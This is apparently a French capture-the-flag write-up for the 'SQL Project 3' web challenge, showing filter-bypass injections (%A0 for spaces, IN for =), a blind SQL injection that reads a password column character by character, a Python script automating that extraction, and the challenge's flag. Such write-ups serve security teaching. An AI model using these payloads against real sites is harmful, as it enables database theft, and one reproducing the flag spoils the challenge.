SQL Project 3

Catégorie: WEB - Points: 400 - Difficulté: Extrême - Solves: 28 Description: L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation... Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations. Lien : https://secureblog.challenge.operation-kernel.fr/v3

Bon, donc il va falloir être ingénieux et chercher comment et quoi bypasser.

Repartons de la base des bases des injections. Essayons avec cette injection : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/OR/**/id/**/=/**/4 Encore un message d'erreur d'erreur... Essayons de remplacer les espaces par %A0 : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0=%A04 Encore et toujours ce foutu message. Là il y a encore 2 choses qui peuvent éventuellement poser problème : le = et/ou le OR Essayons dans un premier temps de remplacer le = par IN : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0IN%A04 Ah ici il n'y a plus d'erreur mais seulement une 404 (peut être normal).

Maintenant nous savons qu'il faut bypasser les espaces par %A0 et que les = ne sont pas acceptés.

Après plusieurs jours de recherches (et de tests), j'ai enfin trouver qu'il s'agissait d'une Blind SQL et que ça n'allait pas nous arranger.

Voici un article très bien fait sur les Blind SQL Avec ça nous allons pouvoir avancer un peu plus.

Nous pouvons commencer à faire des tests directement sachant que nous connaissons déjà le nom de la BDD : challv3, le nom de la table : user ainsi que la colonne spécifique où chercher : password. Mais ce n'est pas grâce à cela que l'on va pouvoir avoir le flag rapidement.

Passons alors aux tests d'injections. Pour vérifier que nos injections fonctionne bien, nous allons essayer de vérifier si le flag commence bien par H : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1))) La page se charge complètement donc notre injection est correcte !!! Pour expliquer cette injection, tout se passe après le and. Le 0x48 est le code ASCII en hexa de la lettre H. La suite de l'injection permet de vérifier qu'à la position 1 du password il y ai bien ce caractère. De toute façon nous allons faire 4 autres tests pour être sûr de bien comprendre : H : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1))) A : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x41%A0in(substr(password,2,1))) C : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x43%A0in(substr(password,3,1))) K : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x4B%A0in(substr(password,4,1))) { : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x7B%A0in(substr(password,5,1)))

Nous pouvons voir que nous changeons simplement le caractère ASCII et l'index du caractère pour chaque test.

Maintenant, plutôt que de faire tout ça à la main, faisons un programme qui le fera à notre place en moins de 2 minutes :

import requests

i = 1
flag = []

while i <= 30:
    for ascii in range(33, 127):
        code200 = requests.head(f'https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(binary({hex(ascii)})%A0in(substr(password,{i},1)))').status_code

        if code200 == 200:
            flag.append(chr(ascii))
            print(''.join(flag))
            i += 1
            break

print(f"Le flag final est {''.join(flag)}")

Et pour information au départ le flag n'était qu'en majuscules. Cela est normal car SQL ne fait pas la différence entre les majuscules et les minuscules. Il a donc fallu trouver un moyen de remédier à cela et cet article m'a beaucoup aidé. Il fallait simplement ajouté un binary() autour de notre lettre hexadécimale pour voir la différence.

Et donc en laissant tourner le programme 2 à 3 minutes, le flag est directement donné à la fin.

🚩 FLAG
HACK{GG_SQLi_M1Ght_B3_Hidden!}

Last updated